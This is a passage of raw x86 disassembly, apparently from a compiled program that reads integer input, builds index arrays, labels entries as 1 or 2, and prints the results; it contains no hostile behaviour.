mov dword [ebp - 0x184], 0xfffffff6
jmp 0x1001ee55
push 2
lea ecx, [ebp - 0xfbc]
call fcn.10022698
mov dword [ebp - 4], 0x37
mov dword [ebp - 0x90], 0x7ca0029b
mov dword [ebp - 0x320], 0
jmp 0x1001f304
mov eax, dword [ebp - 0x320]
inc eax
mov dword [ebp - 0x320], eax
cmp dword [ebp - 0x320], 2
jge 0x1001f326
push dword [ebp - 0x320]
lea ecx, [ebp - 0xfbc]
call fcn.1002273f
mov dword [eax], 0xe469ad59
jmp 0x1001f2f7
mov dword [ebp - 0x90], 0
jmp 0x1001f33f
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 1
jg 0x1001f362
push dword [ebp - 0x90]
lea ecx, [ebp - 0xfbc]
call fcn.1002273f
cmp dword [eax], 0
je 0x1001f360
jmp 0x1001f362
jmp 0x1001f332
mov dword [ebp - 0x90], 6
jmp 0x1001f37b
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 0x11
jne 0x1001f40b
push 1
lea ecx, [ebp - 0xef8]
call fcn.10022698
mov byte [ebp - 4], 0x38
mov dword [ebp - 0x328], 0
jmp 0x1001f3b2
mov eax, dword [ebp - 0x328]
inc eax
mov dword [ebp - 0x328], eax
cmp dword [ebp - 0x328], 1
jge 0x1001f3d4
push dword [ebp - 0x328]
lea ecx, [ebp - 0xef8]
call fcn.1002273f
mov dword [eax], 1
jmp 0x1001f3a5
push 0
lea ecx, [ebp - 0xef8]
call fcn.1002273f
cmp dword [eax], 0
je 0x1001f3f7
mov byte [ebp - 4], 0x37
lea ecx, [ebp - 0xef8]
call fcn.1002271a
jmp 0x1001f40b
mov byte [ebp - 4], 0x37
lea ecx, [ebp - 0xef8]
call fcn.1002271a
jmp 0x1001f36e
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xfbc]
call fcn.1002271a
mov dword [ebp - 0xc8c], 0x22a3
cmp dword [ebp - 0xc8c], 0x5c1
jge 0x1001f98d
push 4
pop eax
imul eax, eax, 0
or dword [eax + 0x107a09b0], 0xffffffff
push 0x106dd480
push 0x106dd47c
push 0x10007d5c
call fcn.1005aefb
add esp, 0xc
mov dword [ebp - 0x74], 1
jmp 0x1001f468
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
cmp eax, dword [0x106dd47c]
jg 0x1001f4e0
mov eax, dword [ebp - 0x74]
lea eax, [eax*4 + 0x107a09b0]
push eax
push 0x10007690
call fcn.1005aefb
pop ecx
pop ecx
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x1374]
push eax
mov ecx, 0x10c35fd4
call fcn.100229b3
mov eax, dword [ebp - 0x74]
neg eax
mov dword [ebp - 0xc94], eax
lea eax, [ebp - 0xc94]
push eax
lea eax, [ebp - 0x136c]
push eax
mov ecx, 0x10c35fec
call fcn.100229b3
mov eax, dword [ebp - 0x74]
inc eax
mov ecx, dword [ebp - 0x74]
mov dword [ecx*4 + 0x10619f50], eax
mov eax, dword [ebp - 0x74]
dec eax
mov ecx, dword [ebp - 0x74]
mov dword [ecx*4 + 0x106dd488], eax
jmp 0x1001f461
push dword [0x106dd47c]
push 1
push 1
call fcn.100161d3
add esp, 0xc
mov dword [0x10c348a0], 1
mov eax, dword [0x106dd47c]
mov dword [0x106dd484], eax
and dword [ebp - 0x330], 0
jmp 0x1001f51c
mov eax, dword [ebp - 0x330]
inc eax
mov dword [ebp - 0x330], eax
mov ecx, 0x10c35ff4
call fcn.10022736
mov esi, eax
mov ecx, 0x10c35fe0
call fcn.10022736
add eax, esi
cmp eax, dword [0x106dd47c]
jae 0x1001f8b2
or dword [ebp - 0x110], 0xffffffff
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0x19c], eax
push dword [0x106dd47c]
push 1
push 1
call fcn.10016289
add esp, 0xc
mov dword [ebp - 0x5a4], eax
mov eax, dword [ebp - 0x5a4]
mov dword [ebp - 0x1c4], eax
and dword [ebp - 0x454], 0
jmp 0x1001f5a0
mov eax, dword [ebp - 0x454]
inc eax
mov dword [ebp - 0x454], eax
mov eax, dword [ebp - 0x1c4]
mov eax, dword [eax*4 + 0x10619f50]
mov dword [ebp - 0x1c4], eax
mov eax, dword [ebp - 0x454]
cmp eax, dword [0x106dd480]
jg 0x1001f659
mov eax, dword [ebp - 0x1c4]
cmp eax, dword [0x106dd47c]
jg 0x1001f659
mov eax, dword [ebp - 0x1c4]
mov dword [ebp - 0x19c], eax
mov eax, dword [ebp - 0x19c]
mov dword [0x106dd478], eax
push dword [0x106dd47c]
push 1
push 1
call fcn.1001632b
add esp, 0xc
mov eax, dword [ebp - 0x330]
and eax, 0x80000001
jns 0x1001f5ff
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x1001f616
lea eax, [ebp - 0x1c4]
push eax
mov ecx, 0x10c35fe0
call fcn.1002274e
jmp 0x1001f627
lea eax, [ebp - 0x1c4]
push eax
mov ecx, 0x10c35ff4
call fcn.1002274e
push 0x106dd478
mov ecx, 0x10c35fd4
call fcn.100229f3
mov eax, dword [0x106dd478]
neg eax
mov dword [ebp - 0xc9c], eax
lea eax, [ebp - 0xc9c]
push eax
mov ecx, 0x10c35fec
call fcn.100229f3
jmp 0x1001f580
mov eax, dword [ebp - 0x5a4]
mov eax, dword [eax*4 + 0x106dd488]
mov dword [ebp - 0x1cc], eax
mov dword [ebp - 0x45c], 1
jmp 0x1001f698
mov eax, dword [ebp - 0x45c]
inc eax
mov dword [ebp - 0x45c], eax
mov eax, dword [ebp - 0x1cc]
mov eax, dword [eax*4 + 0x106dd488]
mov dword [ebp - 0x1cc], eax
mov eax, dword [ebp - 0x45c]
cmp eax, dword [0x106dd480]
jg 0x1001f74c
cmp dword [ebp - 0x1cc], 0
jle 0x1001f74c
mov eax, dword [ebp - 0x1cc]
mov dword [ebp - 0x110], eax
mov eax, dword [ebp - 0x110]
mov dword [0x106dd478], eax
push dword [0x106dd47c]
push 1
push 1
call fcn.1001632b
add esp, 0xc
mov eax, dword [ebp - 0x330]
and eax, 0x80000001
jns 0x1001f6f2
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x1001f709
lea eax, [ebp - 0x1cc]
push eax
mov ecx, 0x10c35fe0
call fcn.1002274e
jmp 0x1001f71a
lea eax, [ebp - 0x1cc]
push eax
mov ecx, 0x10c35ff4
call fcn.1002274e
push 0x106dd478
mov ecx, 0x10c35fd4
call fcn.100229f3
mov eax, dword [0x106dd478]
neg eax
mov dword [ebp - 0xca4], eax
lea eax, [ebp - 0xca4]
push eax
mov ecx, 0x10c35fec
call fcn.100229f3
jmp 0x1001f678
cmp dword [ebp - 0x19c], 0xffffffff
je 0x1001f809
mov eax, dword [ebp - 0x19c]
mov eax, dword [eax*4 + 0x10619f50]
neg eax
mov dword [ebp - 0xcac], eax
lea eax, [ebp - 0x11e8]
push eax
mov ecx, 0x10c35fec
call fcn.1002286f
push eax
lea eax, [ebp - 0xcac]
push eax
lea eax, [ebp - 0x1100]
push eax
mov ecx, 0x10c35fec
call fcn.10022a87
mov ecx, eax
call fcn.10022bb5
movzx eax, al
test eax, eax
je 0x1001f7bd
mov eax, dword [ebp - 0x19c]
mov eax, dword [eax*4 + 0x10619f50]
and dword [eax*4 + 0x106dd488], 0
jmp 0x1001f809
mov eax, dword [ebp - 0x19c]
mov eax, dword [eax*4 + 0x10619f50]
neg eax
mov dword [ebp - 0xcb4], eax
lea eax, [ebp - 0xcb4]
push eax
lea eax, [ebp - 0x120c]
push eax
mov ecx, 0x10c35fec
call fcn.10022a87
mov ecx, eax
call fcn.10022baf
mov eax, dword [eax]
neg eax
mov ecx, dword [ebp - 0x19c]
mov ecx, dword [ecx*4 + 0x10619f50]
mov dword [ecx*4 + 0x106dd488], eax
cmp dword [ebp - 0x110], 0xffffffff
je 0x1001f8ad
lea eax, [ebp - 0x1108]
push eax
mov ecx, 0x10c35fd4
call fcn.1002286f
push eax
mov eax, dword [ebp - 0x110]
lea eax, [eax*4 + 0x106dd488]
push eax
lea eax, [ebp - 0x11f8]
push eax
mov ecx, 0x10c35fd4
call fcn.10022a87
mov ecx, eax
call fcn.10022bb5
movzx eax, al
test eax, eax
je 0x1001f871
mov eax, dword [0x106dd47c]
inc eax
mov ecx, dword [ebp - 0x110]
mov ecx, dword [ecx*4 + 0x106dd488]
mov dword [ecx*4 + 0x10619f50], eax
jmp 0x1001f8ad
mov eax, dword [ebp - 0x110]
mov esi, dword [eax*4 + 0x106dd488]
mov eax, dword [ebp - 0x110]
lea eax, [eax*4 + 0x106dd488]
push eax
lea eax, [ebp - 0x1110]
push eax
mov ecx, 0x10c35fd4
call fcn.10022a87
mov ecx, eax
call fcn.10022baf
mov eax, dword [eax]
mov dword [esi*4 + 0x10619f50], eax
jmp 0x1001f50f
and dword [ebp - 0x338], 0
jmp 0x1001f8c8
mov eax, dword [ebp - 0x338]
inc eax
mov dword [ebp - 0x338], eax
mov ecx, 0x10c35fe0
call fcn.10022736
cmp dword [ebp - 0x338], eax
jae 0x1001f8f9
push dword [ebp - 0x338]
mov ecx, 0x10c35fe0
call fcn.1002273f
mov eax, dword [eax]
mov dword [eax*4 + 0x10863ed8], 1
jmp 0x1001f8bb
and dword [ebp - 0x340], 0
jmp 0x1001f90f
mov eax, dword [ebp - 0x340]
inc eax
mov dword [ebp - 0x340], eax
mov ecx, 0x10c35ff4
call fcn.10022736
cmp dword [ebp - 0x340], eax
jae 0x1001f940
push dword [ebp - 0x340]
mov ecx, 0x10c35ff4
call fcn.1002273f
mov eax, dword [eax]
mov dword [eax*4 + 0x10863ed8], 2
jmp 0x1001f902
mov dword [ebp - 0x348], 1
jmp 0x1001f959
mov eax, dword [ebp - 0x348]
inc eax
mov dword [ebp - 0x348], eax
mov eax, dword [ebp - 0x348]
cmp eax, dword [0x106dd47c]
jg 0x1001f982
mov eax, dword [ebp - 0x348]
push dword [eax*4 + 0x10863ed8]
push 0x10007690
call fcn.1005b12f
pop ecx
pop ecx
jmp 0x1001f94c
push 0x100075fd
call fcn.1005b676
pop ecx
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret